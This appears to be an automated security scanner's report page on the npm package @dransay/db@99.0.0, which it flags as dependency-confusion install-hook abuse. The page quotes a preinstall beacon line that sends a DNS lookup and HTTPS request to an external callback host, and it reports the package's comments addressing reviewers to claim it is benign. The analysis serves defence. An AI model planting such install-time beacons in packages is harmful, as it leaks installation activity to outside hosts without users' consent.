registry / Install hook abuse / @dransay/db

@dransay/db

Benign dependency-confusion interaction beacon published at the explicit request of the DrAnsay/YesWeHack triage team (report #YWH-PGM42275-93). No data collection; see README.

This report shows the evidence for @dransay/db@99.0.0. 1 of 2 known versions is blocked or flagged. See all versions.

This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.

AI Security Review

scanned 11d ago · by lpm-firewall-ai

The automatic preinstall beacon discloses installation activity to a fixed external endpoint, and the source contains reviewer-directed claims of benignness. These source facts support blocking as install-time beaconing with reviewer manipulation.

Static reason

One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review

Trigger

Package installation runs the preinstall hook.

Impact

The external host can learn that the package was installed and resolve the installation to this package name.

Mechanism

The hook makes a DNS lookup and HTTPS GET to the fixed host, with the package name in the lookup name and request path.

Attack narrative

During installation, the package automatically sends a DNS lookup and HTTPS request to a fixed external host. Both encode the package name, notifying that host that the package was installed. The source comments also address reviewers and assert benign intent; that claim is not evidence that the outbound behavior is safe.

AI rationale

Evidence

package.jsonbeacon.js

Network endpoints1

db3klhbi6i9hark1kegg174t38h33b6wt.oast.site

Decision evidence

public snapshot

AI called this Malicious at 98.0% confidence as Malware with low false-positive risk.

Evidence for block

`package.json` runs `beacon.js` automatically during preinstall.
`beacon.js` performs a DNS lookup and HTTPS GET to `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site`, encoding the package name in both requests.
The beacon comments directly address reviewers and assert the package is benign, which is evidence of reviewer manipulation.

Evidence against

The beacon sends only the package name; inspected code does not read environment variables or files.
The requests are wrapped in error handling and do not prevent installation.

Behavioral surface

Source

Network

Supply chain

Trivial

Manifest

NoLicense

scanned 1 file(s), 996 B of source

Source & flagged code

4 flagged

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Ai Review Evidence

`package.json` runs `beacon.js` automatically during preinstall.

package.jsonView on unpkg · L11

beacon.jsView file

•matchType = malicious_source_fingerprint_signature signature = a342d9b9bd7e4109 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = @dransay/api@99.0.0 matchedPath = beacon.js matchedIdentity = npm:QGRyYW5zYXkvYXBp:99.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.jsView on unpkg

14require('dns').lookup(pkg + '.' + d, function () {}); var req = require('https').get({ host: d, path: '/' + pkg, timeout: 2500 }, function (res) { res.resume(); }); req.on('err

High

Ai Review Evidence

`beacon.js` performs a DNS lookup and HTTPS GET to `db3klhbi6i9hark1kegg174t38h33b6wt.oast.site`, encoding the package name in both requests.

beacon.jsView on unpkg · L14

Source & flagged code

4 flagged · loading source

package.jsonView file

•scripts.preinstall = node beacon.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

11"preinstall": "node beacon.js" } }

High

Ai Review Evidence

`package.json` runs `beacon.js` automatically during preinstall.

package.jsonView on unpkg · L11

beacon.jsView file

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

beacon.js

Findings

4 High1 Medium2 Low

HighInstall Time Lifecycle Scriptspackage.json

HighKnown Malware Source Fingerprint Signaturebeacon.js

HighAi Review Evidencepackage.json

HighAi Review Evidencebeacon.js

MediumNetwork

LowScripts Present

LowNo License

Affected versions and remediation

This report applies to @dransay/db@99.0.0.

The versions list below shows the verdict for each recorded version.

Avoid installing @dransay/db@99.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
Choose an independently verified alternative or release. This report does not establish that other versions are safe.
If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.

Evidence last updated: 2026-10-12 06:38:39.306Z (UTC).

Source advisory published: 2026-10-08 07:56:57.000Z (UTC).

Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.

Versions

2 known versions

99.0.0latestshownMaliciousInstall Hook AbuseBlockPublishedOct 8, 2026, 7:56 AM 0.0.1Clean—AllowPublishedSep 29, 2026, 10:29 AM

AI Security Review

Decision evidence

Source & flagged code

Source & flagged code

Findings

Affected versions and remediation

Versions

Related packages

More from @dransay

Other install hook abuse packages

Source & flagged code

Related packages

More from @dransay

Other install hook abuse packages